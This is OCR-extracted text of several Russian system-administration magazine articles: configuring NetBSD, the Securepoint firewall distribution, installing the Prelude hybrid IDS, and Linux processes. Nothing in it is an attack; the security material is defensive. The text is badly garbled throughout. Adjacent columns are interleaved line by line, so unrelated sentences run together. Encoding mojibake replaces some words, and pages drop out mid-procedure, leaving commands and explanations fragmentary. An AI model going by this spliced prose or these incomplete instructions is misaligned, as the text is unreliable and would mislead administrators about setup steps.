этого интерес к системе возрос, все чаще на форумах В качестве zz необходимо вписать имя вашего сетево-
юниксоидов можно встретить вопросы и, что самое глав- го интерфейса. (Если точно не знаете, как он будет назы-
ное, ответы, посвященные NetBSD. Эта система заинтере- ваться в NetBSD, его название можно посмотреть с помо-
совала и меня, результат моего изучения перед вами. За щью команды dmesg.) Вместо иксов соответственно впи-
неимением компьютеров с отличной от x86 архитектурой сать ваш IP-адрес. Маску подсети можно указать как в
все мои эксперименты с NetBSD проводились на обычном «дробном» виде (/xx), так и в виде netmask x.x.x.x.
PC (Cel 433МГц/64Мб RAM). Я предполагаю, что NetBSD в IP DNS-сервера(ов) прописывается в /etc/resolv.conf,
том или ином виде уже установлена на вашем компьюте- синтаксис таков:
ре. Далее нам понадобится только диск с исходниками си-
стемы. Взять образ этого диска можно тут: ftp://ftp.netbsd/ netmask x.x.x.x
22
администрирование
Должен заметить, что есть альтернативный вариант команде pkg_add указать точный url, где лежит пакадж,
указания имени хоста и IP шлюза. Имя хоста можно поме- который вы желаете установить. Например:
стить в файл /etc/myname. А IP шлюза – в /etc/mygate.
Делайте, как вам удобно. #pkg_add ftp://ftp.netbsd.org/pub/NetBSD/packages/1.6.1 ↵
/i386/shells/bash-2.05.2.tgz
В /etc/rc.conf не забудьте указать:
Это командой мы установим пакадж с bash для 1.6.1
sshd=YES версии NetBSD, работающей на x86 машине.
Важное замечание: по умолчанию исполняемые фай-
После этого мы можем заходить удаленно на нашу лы пакаджей помещаются в /usr/pkg/bin.
NetBSD через ssh. Система портов в NetBSD тоже называется пакаджа-
Следующим шагом является заведение нового пользо- ми, что вносит некоторую неразбериху. Получается, что
вателя. Не всегда же под аккаунтом root работать. есть binary-packages, которые уже кто-то скомпилировал
до нас, и которые только и остается что установить ко-
# useradd –g groupname –d /path/to/homedir –m ↵ мандой pkg_add, и есть «порты-пакаджи», которые спи-
–p yourpassword –s /path/to/shell username
сываются из сети в виде исходников, а компилируются
Рассмотрим, что и как мы создали. После опции –g ука- уже на вашей машине. Чтобы не вносить дальнейшую
зывается имя группы, к которой будет принадлежать но- путаницу, далее по тексту «порт-пакадж» буду называть
вый пользователь. Должен заметить, что с помощью опции просто порт.
–g бесполезно пытаться добавить нового пользователя в Для того чтобы начать работать с коллекцией портов,
группу wheel, надо напрямую его вписать в /etc/group. Тог- берем с уже знакомого нам диска файл pkgsrc.tgz.
да он действительно окажется в группе wheel. После опции Самую последнюю версию этого файла можно списать
–d указывается путь до домашнего каталога пользовате- на ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-current/tar_files/
ля. После –p указывается новый пароль. После опции –s pkgsrc.tar.gz.
указывается путь к командному интерпретатору. Распакуем:
Если эту опцию не задать, будет использоваться стан-
дартный /bin/sh. Который, впрочем, позже можно будет # tar zxvpf pkgsrc.tar.gz –c /usr
сменить на что-нибудь другое при помощи команды chsh.
Мною была замечена интересная вещь – какой бы После распаковки архива в /usr/pkgsrc/ появляются
password ни указывался, после опции –p useradd ругается: каталоги, разделенные по группам (audio/www/x11), в
которых соответственно содержатся каталоги, назван-
ные по имени программ с файлами, необходимыми для
Это не беда, если его поменять с помощью команды установки по сети. Установка нужной программы про-
passwd <username>, то все встанет на свои места. Нелиш- исходит следующим образом (для примера установим
ним будет прочтение man useradd, там вы более подроб- редактор ne):
но узнаете о значениях всех опций.
#cd /usr/pkgsrc/editors/ne
#make install
Установка нужного софта
Установить новый софт можно: И начинается процесс установки, система списывает из
! Собрав из исходников. сети исходник нужной программы, если для компиляции
! Используя пакаджи. требуется какая-либо библиотека, то она также будет спи-
! Используя систему портов. сана. После этого следует компиляция. Вот и все. Правда,
просто? После того как система установила нужный порт,
Если с первыми двумя методами все более-менее по- для удаления временных файлов выполняем команду.
нятно, то третий способ я распишу немного подробней.
Замечу только, что все пакаджи берутся с ftp://ftp.netbsd.org/ #make clean
pub/NetBSD/packages.
Далее выбираете, для какой версии системы и архи- Все исходники, которые были списаны системой из
тектуры вы ищете нужный вам пакадж. сети, хранятся в /usr/pkgsrc/distfiles.
Для удобства можно использовать вот эту ссылку: ftp://
ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/README.html. Перекомпиляция ядра
Здесь весь софт разделен на тематические разделы (как Я думаю, желание собрать ядро под себя и со своими пред-
в коллекции портов). Для меня вторая ссылка более удоб- почтениями вполне закономерное. Из стандартного хочет-
ная, благодаря наличию комментариев к каждому пакад- ся выкинуть все ненужное (а выкинуть, я думаю, много
жу с указанием всех зависимостей. чего можно, GENERIC-ядро весит ~ 6.3 Мб!), и соответ-
Установить пакадж просто: ственно добавить нужное. Для перекомпиляции ядра нам
понадобятся непосредственно исходники ядра. Я уже упо-
#pkg_add packagename.tar.gz мянул о sourcecd.iso, на котором находятся исходники всей
системы. Вот сейчас из этого самого образа мы берем
Замечу, что заранее пакадж можно и не списывать, а нужный нам syssrc.tgz. Распакуем:
24
администрирование
! options PPP_DEFLATE – поддержка Deflate-сжатия для ! mainboard audio chips – поддержка некоторых встро-
PPP. енных звуковых карт. Для примера включим поддерж-
! options PPP_FILTER – активный фильтр для PPP. Ну- ку ESS AudioDrive.
жен bpf.
! options IPFILTER_LOG – поддержка ведения логов ess* at =pnpbios? index ?
firewall.
! options IPFILTER_DEFAULT_BLOCK – запрещение про- ! com port – поддержка com-порта.
хождения всех пакетов по умолчанию.
com* at pnpbios? index ?
Дальше в файле конфигурации ядра идут опции для
включения вывода подробных сообщений от некоторых ! parallel port – параллельный порт.
подсистем. Добавление этих опций может существенно
увеличить размер вашего ядра. Для примера включим lpt* at pnpbios? index ?
поддержку подробных сообщений для USB-устройств:
options USBVERBOSE. ! Клавиатуры и мышки:
26
администрирование
! MCA network cards – MCA-сетевые карты. ! pseudo-device bpfilter – берклинский пакетный фильтр.
! MII/PHY support – поддержка различных MII/PHY-уст- ! pseudo-device ipfilter – firewall + NAT.
ройств. ! pseudo-device loop – интерфейс обратной петли
! USB Controller and Devices – различные USB-контрол- (127.0.0.1).
леры и устройства. ! pseudo-device ppp – протокол Point-to-Point.
! PCI USB controllers – PCI USB-контроллеры. ! pseudo-device pppoe – поддержка PPP через Ethernet.
! USB bus support – поддержка шины USB. ! pseudo-device sl – Serial line IP.
! USB Hubs – USB-хабы. ! pseudo-device irframetty – IrDA frame line discipline.
! USB HID device – USB HID-устройства. ! pseudo-device tun – сетевые туннели через tty.
! USB Mice – USB-мышки. ! pseudo-device gre – L3 через IP-туннель.
! USB Keyboards – USB-клавиатуры. ! pseudo-device gif – IPv[46] через IPv[46]-туннель.
! USB Printer – USB-принтеры. ! pseudo-device faith – трансляция IPv[46] tcp релея.
! USB Modem – USB-модемы. ! pseudo-device stf – инкапсуляции IPv6 через IPv4
! USB Mass Storage – устройства хранения информации ! pseudo-device vlan – поддержка VLAN.
на USB. ! pseudo-devic bridge – сетевой мост.
! USB audio – USB-звуковые карты. ! miscellaneous pseudo-devices – другие псевдоустрой-
! USB MIDI – USB MIDI-устройства. ства.
! USB IrDA – USB IrDA-устройства. ! pseudo-device pty – псевдотерминалы.
! USB Ethernet adapters – USB-сетевые карты. ! pseudo-device rnd – поддержка /dev/random.
! Serial adapters – различные последовательные USB- ! pseudo-device clockctl – контроль часов.
адаптеры. ! wscons pseudo-devices – псевдоустройства wcons.
! USB scanners – USB-сканеры и сканеры, которые ис- ! pseudo-device wsmux – мультиплексор клавиатуры
пользуют эмуляцию SCSI. и мышки.
! USB Generic driver – USB-драйвер. ! pseudo-device wsfont – /dev/wsfont.
! Audio Devices – различные звуковые карты.
! PCI audio devices – PCI-звуковые карты. После того как закомментировано все ненужное и до-
! ISA Plug-and-Play audio devices – ISA PnP-звуковые бавлено нужное, приступаем к сборке нового ядра.
карты.
! ISA audio devices – ISA-звуковые карты. #config newkernel
! PCMCIA audio devices – PCMCIA-звуковые карты.
! Audio support – поддержка звука для вышеперечислен- Если никаких ошибок не выявлено, то:
ных карт.
! MPU 401 UARTs – различные MPU 410 карты. #cd ../compile/newkernel/
#make depend && make
! MIDI support – поддержка MIDI.
! PC-спикер: Начинается непосредственно компиляция. Процесс ком-
пиляции проходит достаточно быстро, у меня на Cel466/
spkr0 at pcppi? 64Мб RAM она заняла порядка 15 минут. На PIII-550/320Мб
RAM – меньше 5 минут.
! FM-Radio devices – различные FM-тюнеры. Если компиляция прошла успешно, устанавливаем но-
! ISA radio devices – ISA FM-тюнеры. вое ядро.
! PCI radio devices – PCI FM-тюнеры.
! TV cards – TV-тюнеры. #cp /netbsd /netbsd.old
! Mice – различные мышки.
! Joysticks – различные джойстики. Делаем резервную копию старого ядра, которое рас-
! ISA Plug-and-Play joysticks – ISA PnP-джойстики. полагается в корневом разделе.
! PCI joysticks – PCI-джойстики.
! ISA joysticks – ISA-джойстики. #cp netbsd /
! Pseudo-Devices – различные псевдоустройства.
! disk/mass storage pseudo-devices – псевдоустройства Копируем новое ядро (которое находится в текущем
для хранения информации. каталоге) в корень. Перезагружаемся:
! pseudo-device ccd – concatenated/striped disk devices.
! pseudo-device raid – RAIDframe disk drive. #reboot
! options RAID_AUTOCONFIG – автоконфигурирова-
ние RAID-компонентов. Если новое ядро не загружается по каким-либо причи-
! pseudo-device md – поддержка дисков в память – нам, нам нужно загрузить старое, работоспособное ядро,
ramdrive. недаром мы его сохранили. В самом начале загрузки
! pseudo-device vnd – похожий на диски интерфейс для NetBSD, когда идет обратный отсчет времени, нажимаем
файлов. любую клавишу, отличную от enter, и попадаем в boot-
! network pseudo-devices – сетевые псевдоустройства. меню. Далее вводим:
28
безопасность
ТОЧКА ЗАЩИТЫ
СЕРГЕЙ ЯРЕМЧУК
Так уж получилось, что моим первым Linux-дистрибутивом страивать существующую сеть совсем необязательно,
был не один из типично пользовательских вроде Red Hat, Securepoint спокойно уживается на отдельном компьютере
с чего обычно начинают знакомство, а маленький однодис- и без проблем вписывается в большинство топологий со сво-
кетный FreeSCO (http://www.freesco.org), о котором я писал ими firewall и VPN. Если поискать на сайте, то можно наткнуть-
в сентябрьском номере журнала за 2003 г. Небольшая за- ся и на прайс с довольно солидными суммами, но беспоко-
метка на каком-то сайте, в которой было рассказано о том, иться не стоит, деньги берут за техническую поддержку, сам
как с его помощью можно быстро и без особых трудностей же дистрибутив доступен для свободного скачивания и рас-
настроить совмесный доступ в Интернет группе компьюте- пространяется как freeware, для доступа к странице закачки
ров, не только помогла решить проблему человеку, доселе от вас потребуют ввести e-mail и название компании. Сис-
этим никогда не занимавшемуся. В итоге это знакомство темные требования скромны, процессор класса Pentium II 300,
полностью изменило мою жизнь. Вместо Windows пришел 64 Мб ОЗУ, около 4 Гб жесткий диск (IDE или поддержаны
Linux, вместо assembler и Pascal – Perl, PHP. Стал интере- некоторые SCSI). Базируется он, судя по всему, на Red Hat.
соваться сетями. Может быть, поэтому моим любимым за- Поддерживается одновременно от 2 до 16 сетевых интер-
нятием является поиск и тестирование таких специальных фейсов. Перед установкой желательно все же свериться
дистрибутивов. Сегодня предлагаю в общих чертах позна- с whitepapers (http://europe-01.securepoint.de/whitepapers_
комиться с довольно мощным, но в то же время очень про- int3.1.pdf), иначе попытка может завершиться неудачей. И
стым и понятным в настройке дистрибутивом. хотя сам процесс установки сложности вызвать не должен
Речь пойдет о немецком дистрибутиве Securepoint от по причине простоты и понятности всех операций, но вкрат-
Securepoint Security Solutions, английское зеркало сайта: це остановлюсь, чтобы было понятно, с чем имеем дело.
http://www.securepoint.cc. Он представляет собой полностью Более полную картину даст 96-страничный manual, который
готовый набор программных средств, предназначенных для вы найдете на сайте или в самом дистрибутиве.
создания межсетевого экрана корпоративного
(enterprisewide) уровня. Но мало того, что Securepoint, как и Установка
положено, предохраняет внутреннюю сеть от атак извне, но Скачиваем по ссылке ISO-образ дистрибутива размером
с его помощью можно легко отделить части внутренней сети 245 Мб (версия securepoint-3.1.3p3.iso). Можно не спешить
друг от друга и определить индивидуальные правила защи- сразу тянуть остальные приложения, документы и патчи,
ты для каждого сегмента, создать и управлять туннелями доступные на странице закачки, т.к. большая часть име-
VPN для защиты трафика удаленных сетей и пользовате- ется уже в указаном образе и вы зря потеряете время.
лей, ведение логов и предупреждений. При этом перена- Каталоги CD-ROM имеют такую структуру:
30
безопасность
! basic – архивы с основной системой; дим ./install.sh, после чего следуем за инструкциями на
! isolinux – загрузочный образ; экране. После чего перезагружаем систему.
! intrusion_detection_system – сервер и клиент Nuzzler Последующее конфигурирование возможно проводить
Intrusion Detection System; двумя способами (не считая непосредственного редакти-
! opt – архивы с Securepoint Firewall & VPN Server, AntiVir рования конфигурационных файлов). Первый, находясь в
virus scanner, Trendmicro VirusWall, утилиты конфигу- системе, при помощи скрипта conf.sh, который лежит в
рирования; /opt/securepoint3.0/bin (рис. 1). Но более удобно и нагляд-
! tools – утилиты под Windows: diskwriter (для создания но особенно для новичков будет настройка при помощи
загрузочной дискеты), Nuzzler Intrusion Detection System клиента Securepoint Security Manager, работающего под
Basic Edition, Securepoint Network Test Tool, в папке управлением Windows 98, NT, XP и 2000. Ставим програм-
securepoint_client клиент для удаленной настройки му, как обычно нажав setup.exe, после чего в меню «Пуск»
Securepoint (в подкаталоге samples найдете заготов- появятся еще два приложения: сам Securepoint Security
ки) и SSH Sentinel VPN client; Manager и Bitcount calculator, предназначенный для пере-
! update – приложения для обновления Securepoint с вер- расчета маски сети в битовую маску и наоборот. Запуска-
сий 2.x и 3.x до 3.1.3. ем (рис. 2).
Ðèñóíîê 3
32
безопасность
Nuzzler может обнаруживать возможные атаки, виру-
сы, trojans и т. п. Основная постановка включает более
чем 1500 правил для различных категорий, к которым вы
можете сами прибавлять новые правила и изменять ста-
рые, имеет интегрированную sniffer-систему, показываю-
щую в реальном времени каждый блок данных (TCP, UDP
и ICMP), не сохраняя его в журнал.
Вот в принципе и все. В документации все подробно
расписано. Вывод, я думаю, очевиден. Securepoint пред-
ставляет собой удобное и законченное решение, позво-
ляющее легко создавать сети любых конфигураций и сле-
дить за их безопасностью. Наличие же некотрых необяза-
тельных платных составляющих только добавляет плюсов
к имиджу дистрибутива. Ðèñóíîê 4
Ðèñóíîê 5
Ðèñóíîê 6
СЕРГЕЙ ЯРЕМЧУК
34
безопасность
Проект начат в 1998 году (одновременно с началом раз- и buffer overflow, проверяя запросы к потенциально
работки Snort), основной его целью было создание модуль- опасным вызовам вроде sprintf, strcpy, wcscpy и пыта-
ного сетевого IDS, но очень скоро разработчики поняли, ется обнаружить попытку переполнения буфера; если
что за технологиями все равно не угнаться, и пересмотре- таковое обнаруживается, то выполнение опасной про-
ли свои подходы и требования к обеспечению безопасно- граммы прерывается. Учитывая, что библиотека, в об-
сти систем. В результате Prelude представляет собой пол- щем, справляется со своим назначением, а системные
нофункциональную, т.н. гибридную, IDS. Она разрабаты- расходы незначительны, то ее можно рекомендовать к
валась прежде всего для работы на компьютерах под уп- применению.
равлением GNU/Linux, но поддерживаются также и *BSD- ! Prelude-manager – предназначен для централизован-
системы, как и другие POSIX-совместимые системы, рас- ного сбора данных, поступающих от всех датчиков, вы-
пространяется свободно по лицензии GPL. Суть гибрид- дачи данных подсистеме, реагирующей на событие, и
ности Prelude заключается в том, что контролируются не сохранение данных ( MySQL, PostgreSQL, Oracle, XML,
только события, происходящие в сети, но и то, что творит- plain-текст). В сети может быть несколько manager.
ся на локальных компьютерах, что, с одной стороны, по- ! Counter Measure Agents – исполнительня часть, полу-
вышает вероятность обнаружения попытки вторжения, а чает данные относительно выявленной аномалии от
с другой – уменьшает общее количество разнородных manager и принимает меры по остановке нежелатель-
приложений, с которыми придется иметь дело системно- ных действий.
му администратору. Домашняя страница проекта: http:// ! frontends – для централизованного удобного просмот-
www.prelude-ids.org. ра собранных данных, выявления неисправностей, по-
Состоит Prelude из нескольких частей: зволяет просто администрировать и способствует по-
! Сенсоры – основная часть всей системы обнаружения, ниманию текущего состояния дел защиты. В этом ка-
развертываются на нескольких системах, чья безопас- честве выступают P(erl|relude) IDS Web Interface и
ность контролируется. Они собирают всю информацию Prelude-php-frontend. Внешний интерфейс, написанный
и сообщают администратору в случае обнаружения на Perl и РНР соответственно, предназначен для про-
аномалий. смотра данных, собранных Prelude и занесенных в базу
! LibPrelude – клей, связывающий все части вместе, пре- данных.
доставляет единый интерфейс стандартных вызовов
IDMEF, основанный на XML, позволяет легко создавать Но это еще не все. Кроме упомянутых возможностей в
сторонним разработчикам продукты «Prelude Aware». качестве сенсоров после наложения соответствующих пат-
Используется всеми модулями Prelude. чей могут выступать Snort, Nessus, Nagios, Argus, Honeyd,
! Prelude-nids – датчик сетевой системы обнаружения SysTrace, Bro IDS, Hogwash и планируется AIDE. Также на-
атак, который ищет знакомые сигнатуры в проходящих помню, что датчики Samhain, которые позволяют контро-
по сети пакетах. В одной сети достаточно иметь один лировать довольно большое количество аномалий на хос-
такой сенсор, поэтому его можно установить, напри- тах, могут быть скомпилированы с библиотекой LibPrelude,
мер, на сервер. По своей функциональности эквива- выступая тем самым и сенсором Prelude IDS. Все осталь-
лентен Snort. ные возможности (в том числе и планируемые) Prelude
! Prelude-lml – Prelude Log Monitoring Lackey – еще один IDS в виде удобных для восприятия таблиц представлены
датчик, на этот раз контролирующий логи. В случае по- в документе «Prelude Feature Matrix» (http://www.prelude-
явления подозрительных записей отправляет уведом- ids.org/rubrique.php3?id_rubrique=24). Мы же пойдем далее.
ление, является обязательным при использовании host-
based IDS-части. Может быть сконфигурирован как для Установка Prelude IDS
просмотра локальных лог-файлов, так и работать в сете- Все основные компоненты для установки можно найти на
вом режиме, контролируя поступающие по сети данные. странице http://www.prelude-ids.org/rubrique.php3?id_rub-
В последнем случае он может работать со всеми syslog- rique=6 в разделе Download Latest Version или Download
совместимыми данными, поступающими от firewall, Latest Snapshots. Как минимум потребуются пакеты
маршрутизаторов, принтеров, других UNIX-систем и си- libprelude, prelude-manager, prelude-nids, prelude-lml и Piwi.
стем, которые могут преобразовать свои данные к тре- Дополнительно можно здесь же по ссылкам скачать и
буемому формату (например, Windows NT/2K/XP – Libsafe, для работы с OpenBSD pf понадобится prelude-
Ntsyslog – http://ntsyslog.sourceforge.net/). Построенный pflogger, а также патчи к соответствующим программам
на PCRE (Perl Compatible Regular Expressions), состоит для реализации «Prelude aware»:
из плагинов, каждый из которых отвечает за анализ ! Snort – Prelude reporting patch;
данных, поступающих от определенной программы, ! Honeyd – Prelude reporting patch;
или утилиты: IpFw, IpChains, NtSyslog, GRSecurity, Exim, ! Systrace – Prelude reporting patch;
Portsentry, SSH, Squid и других. ! Nessus – Prelude reporting patch.
! Libsafe – датчик, работающий только на Linux-систе-
мах, автоматически подхватывается Prelude при уста- Но это то, что сразу в глаза бросается; если посмотреть
новленной в системе библиотеке libsafe (http:// на столбик слева, то там найдете еще интересную колонку
www.research. avayalabs.com/project/libsafe). Эта биб- «Contributed Software», в которой найдете еще несколько
лиотека позволяет защититься от атак типа format string патчей и расширений к Prelude (отправка алертов по e-mail,
36
безопасность
Не забудьте только вставить пароль вместо хххххх.
Для того чтобы указать на интерфейс, где менеджер
будет ожидать подключения сенсоров в файле prelude-
manager.conf, изменяем параметр sensors-srvr, в котором
указываем нужный IP-адрес. Теперь можно приступать к
регистрации сенсоров. Этот процесс в Prelude хоть и мо-
жет забрать изрядное количество времени при большом Если manager-adduser уже запущен, то смело жмем на
их количестве, но все таки удобен и понятен и не требует Enter и два раза вводим выданные им одноразовые пароли.
особых и лишних телодвижений. Да, и не забудьте разре-
шить iptables пропускать эти пакеты.
Для регистрации сенсора на сервере запускаем ути-
литу manager-adduser, которая будет ждать подключения
нового клиента, для допуска которого будет выдан на кон-
соль одноразовый пароль. А на клиентском компьютере
параллельно запускается sensor-adduser с указанием на-
звания регистрируемого сенсора и узла, где находится
менеджер.
Все, программа ждет подключения сенсора. Порядок Обратите внимание: здесь не требуется вручную за-
регистрации сенсоров значения не имеет, начнем, навер- водить пользователя и давать пароль, система генериру-
ное, с libsafe. ет ключ.
На компьютере, сенсор которого вы регистрируете,
вводим такую команду:
# sensor-adduser -s <òèï_ñåíñîðà> ↵
-m <IP-àäðåñ_ìåíåäæåðà> -u <UID_ïîëüçîâàòåëÿ>
# prelude-nids -i eth0
Для остальных сенсоров действия аналогичны:
Запускаем опять на сервере manager-adduser и полу-
чаем новый одноразовый пароль.
При помощи sensor-adduser регистрируем новый сен-
сор. Для остальных входящих в комплект сенсоров строка
запуска будет иметь такой вид (для локальных сенсоров). Ага, забыли завести пользователя prelude. Можно по
первой, при тестировании запустить от имени root (опция
# sensor-adduser -s prelude-nids -m 127.0.0.1 -u 0 -u root), но в остальных случаях делаем как положено.
Поэтому командой заводим пользователя prelude и при
регистрации сенсоров не забываем указывать его uid.
# sensor-adduser -s prelude-lml -m 127.0.0.1 -u 0
#groupadd prelude
#adduser --no-create-home --disabled-password --quiet ↵
--ingroup prelude prelude
Если локальные сенсоры (т.е. по IP – 127.0.0.1) можно
удаленно регистрировать, зайдя на компьютер при помо- Пробуем еще раз.
щи SSH, то регистрация удаленных сенсоров таким обра-
зом сильно затягивается, да и с безопасностью могут воз- # prelude-nids -i eth0
никнуть проблемы.
Теперь можно запускать, а заодно и проверить под-
ключения. На сервере запускаем.
# prelude-manager
38
безопасность
# prelude-manager -d
# prelude-lml -d
# prelude-nids -i eth1 -d
#! /usr/bin/perl
40
безопасность
Поэтому проверяем, не забыли ли вообще запустить Если вы поддались статьям Павла Заклякова и настро-
MySQL (# ps aux | grep mysql). И проверяем еще раз все или Snort, то ничего страшного, наложив патч http://
записи, сделанные в конфигурационных файлах. www.prelude-ids.org/download/releases/snort-prelude-reporting-
Для тестирования установок предназначена страница patch-latest.tar.gz и пересобрав его, можно затем использо-
$piwi_directory/test/index.pl, сюда же попадете и в том слу- вать его как сенсор NIDS и отказаться совсем от установки
чае, если не будут найдены обязательные компоненты, prelude-nids (зачем два аналогичных по функциональности
здесь получите всю информацию о текущих проблемах. сенсора). Если же со Snort еще не сложилось, то, наверное,
Для ограничения доступа (необходимую информацию най- самым удобным вариантом будет конвертация правил Snort
дете в piwi/Docs/user_file_format.txt) к данным используют- в правила Prеlude NIDS, подключение их к системе и можно
ся файлы, находящиеся в поддиректории Profiles/ с назва- использовать таким образом все наработки обеих команд.
нием вида: имя_пользователя.user, т.е. на каждого пользо- Патч к honeypot-системе honeyd (http://www.citi.umich.edu/
вателя один файл. По умолчанию там находятся два та- u/provos/honeyd, и патч http://www.rstack.org/oudot/prelude/
ких файла: admin.user и guest.user, чего достаточно в боль- honeypots/files) позволяет собирать и в удобной форме ана-
шинстве случаев. Параметров немного, сейчас достаточ- лизировать информацию о действиях нападающей сто-
но изменить лишь один – IPAccess, который отвечает за роны, а сама honeypot-система при правильной и осто-
допуск этого пользователя с определенного адреса или рожной организации является неплохой приманкой для по-
адресов. тенциальных взломщиков и к тому же практически не ге-
В качестве значения может быть точный адрес вида нерирует ошибки, поэтому в некоторых случаях является
192.168.1.200 или групповой для доступа из всей сети, на- весьма полезной добавкой.
пример 192.168.255.255 (строка IPAccess=255.255.255.255 И еще один интересный сенсор raprelude (http://
означает доступ с любого адреса). И не будет лишним, www.intrusion-lab.net/tools/raprelude), позволяющий фикси-
если будете использовать файлы .htaccess, .htpasswd или ровать все виды сетевых событий, зарегистрированных
.htdigest и работать по защищенному каналу SSL, но на демоном argus (http://qosient.com/argus). При помощи его
этом я останавливаться не буду. По адресу http:// можно отобрать весь трафик, идущий к определенному
www.giggled.org.uk/piwi_custom.html найдете документ, в сервису на определенном компьютере или, например, на-
котором описано, как расширить возможности piwi по сор- рушающий правила firewall.
тировке IP-адресов. Для обнаружения аномалий в Wi-Fi 802.11 сетях пред-
назначен появившийся совсем недавно сенсор WlanDetect
Расширеное использование Prelude (http://www.security-labs.org/wlandetect), определяющий на
Хотел было уже заканчивать статью, но, перечитав все момент написания статьи 10 возможных нарушений.
сначала, понял, что некоторые вопросы остались за кад- Патч к Nagios (http://www.nagios.org, сам патч http://
ром и требуют, чтобы за них замолвили хотя бы пару слов. www.exaprobe.com/labs/downloads/Nagios_Plugin/prelude-
А сериалов с вечным продолжением я не люблю, поэтому nagios-0.0.2.tar.gz) позволяет централизованно контроли-
уж потерпите. ровать состояние сетей и компьютеров.
Итак, как видите, Prelude довольно продвинутая IDS, к И последняя связка, без которой статья бы не была пол-
тому же обладающая возможностью наращивания как ко- ной. Речь идет о сканере безопасности Nessus (http://
личественного, так и качественного, некоторые готовые www.nessus.org), который также может работать в связке с
решения уже имеются на сайте, а тем, кто может, позво- Prelude после наложения патча http://www.prelude-ids.org/
лено заточить любой необходимый сенсор, для того что- download/releases/nessus-2.0.7-reporting-patch-v7.diff, плюс
бы Prelude узнавала в нем своего. Сенсоров на отдель- дополнительно используя инструменты http://www.rstack.org/
ный хост можно понаставлять сколько душа пожелает, oudot/prelude/correlation, позволяет уменьшить количество
только вот вопрос – не потребуется ли для его нормаль- предупреждений и в итоге сконцентироваться на действи-
ной работы второй процессор, а сеть переводить на гига- тельно серьезных проблемах, помогут выявить соответ-
бит. Поэтому увлекаться, наверное, не стоит, затраты по ствия между предупреждениями и, наконец, позволяют
защите возрастут в несколько раз, а эффективность – на связать предупреждения и системные уязвимости и по-
десятую процента. Наверное, стоит из всего предлагае- мочь в реальной оценке серьезности угрозы.
мого комплекта выбрать то, что действительно необходи- Как видите, гибридная Prelude IDS обладает большой
мо для нормальной работы. функциональностью, а гибкость при выборе различного
Итак, для host-based-части, кроме штатного prelude-lml, вида сенсоров позволяет создать требуемую конфигура-
умеющего работать только с логами и понимающего логи цию защитной системы. Но на этом проект не остановил
и других устройств, в том числе windows-систем, можно свое развитие, и у разработчиков большие планы по ин-
использовать сенсор samhain, в который вместить все, теграции, анализу и корреляции данных. Также планиру-
чего душа пожелает, и для очистки совести можно на кри- ется большая поддержка различных приложений, и не в
тические системы вроде сервера или firewall установить на последнюю очередь в списке стоят различные виды firewall
выбор libsafe или для более полного контроля над систем- (в том числе и аппаратные модели), позволяющие вовре-
нымы вызовами systrace (http://www.citi.umich.edu/u/provos/ мя среагировать и остановить атаку. Несмотря на то что я
systrace), патч для Prelude найдете: http://www.rstack.org/ пытался многое расказать в статье, думаю, что постепен-
oudot/prelude/systrace/files. Сразу оба использовать в боль- но все же придется еще вернуться к Prelude, чтобы рас-
шинстве случаев, я думаю, будет излишним. сказать о нововведениях. Удачи.
ПРОЦЕССЫ В LINUX
Характерной чертой современных операционных
систем является поддержка многозадачности –
параллельного выполнения нескольких задач
(task), что обеспечивается главным образом
аппаратными возможностями центрального
процессора. Под задачей понимают экземпляр
программы, которая находится в стадии
выполнения. Синонимом термина «задача»
является термин «процесс», который впервые
начали применять разработчики системы MULTICS
в 60-х годах прошлого века.
ВЛАДИМИР МЕШКОВ
Общие сведения о процессах ! Идентификатор владельца (UID) и эффективный иден-
Процесс состоит из адресного пространства и набора струк- тификатор владельца (EUID). UID – это идентифика-
тур данных, содержащихся внутри ядра операционной сис- ционный номер пользователя, который создал данный
темы. Адресное пространство представляет собой совокуп- процесс. Вносить изменения в процесс могут только
ность страниц памяти, которую ядро выделило для выполне- его создатель и привилегированный пользователь.
ния процесса. Оно содержит сегменты кода для программы, EUID – это «эффективный» UID процесса. EUID исполь-
которую выполняет процесс, используемые процессом пе- зуется для того, чтобы определить, к каким ресурсам
ременные, стек процесса и различную вспомогательную и файлам у процесса есть право доступа. У большин-
информацию, необходимую ядру во время работы процесса. ства процессов UID и EUID будут одинаковыми. Исклю-
В структурах данных ядра хранится различная информация о чение составляют программы, у которых установлен
каждом процессе. К наиболее важным сведениям относятся: бит смены идентификатора пользователя.
! таблица распределения памяти процесса; ! Идентификатор группы (GID) и эффективный иденти-
! текущий статус процесса; фикатор группы (EGID). GID – это идентификационный
! приоритет выполнения процесса; номер группы данного процесса. EGID связан с GID так-
! информация о ресурсах, которые использует процесс; же, как EUID с UID.
! владелец процесса. ! Приоритет. От приоритета процесса зависит, какую
часть времени центрального процессора он получит.
Совокупность всех процессов, выполняющихся в сис- ! Текущий каталог, корневой каталог, переменные про-
теме, образует иерархическую структуру, подобную дере- граммного окружения.
ву каталогов файловой системы. На вершине дерева про- ! Управляющий терминал (controlling terminal).
цессов находится управляющий процесс init, являющийся
предком всех системных и пользовательских процессов. Жизненный цикл процесса
С каждым процессом связан набор атрибутов, которые Все процессы, кроме init, создаются при помощи систем-
помогают системе управлять выполнением и планирова- ного вызова fork (процесс init создается во время началь-
нием процессов. С точки зрения системного администри- ной загрузки системы). Вызывая функцию fork, процесс
рования интерес представляют следующие атрибуты: создает свой дубликат, называемый дочерним процессом.
! Идентификатор процесса (PID). Каждому новому про- Дочерний процесс является практически точной копией
цессу ядро присваивает уникальный идентификацион- родительского, но имеет следующие отличия:
ный номер. В любой момент времени идентификатор ! у дочернего процесса свой PID;
является уникальным, хотя после завершения процес- ! PPID дочернего процесса равен PID родителя.
са он может использоваться снова для другого процес-
са. Некоторые идентификаторы зарезервированы сис- После выполнения fork родительский процесс может
темой для особых процессов. Так, процесс с идентифи- посредством системного вызова wait или waitpid приоста-
катором 1 – это процесс инициализации init, являющий- новить свое выполнение до завершения порожденного
ся предком всех других процессов в системе. (дочернего) процесса или продолжать свое выполнение
! Идентификатор родительского процесса (PPID). Новый независимо от дочернего, а дочерний процесс в свою оче-
процесс создается путем клонирования одного из уже редь может запустить на выполнение новую программу
существующих процессов. Исходный процесс в терми- при помощи одного из системных вызовов семейства exec.
нологии UNIX называется родительским, а его клон – Совместное применение системных вызовов fork и exec
порожденным. Помимо собственного идентификатора представляет мощный инструмент для программиста. Бла-
каждый процесс имеет атрибут PPID, т.е. идентифика- годаря ветвлению при использовании вызова exec в до-
тор своего родительского процесса. чернем процессе может выполняться другая программа.
42
программирование
Таким образом, один процесс может создавать несколько Второй аргумент будет содержать код статуса завер-
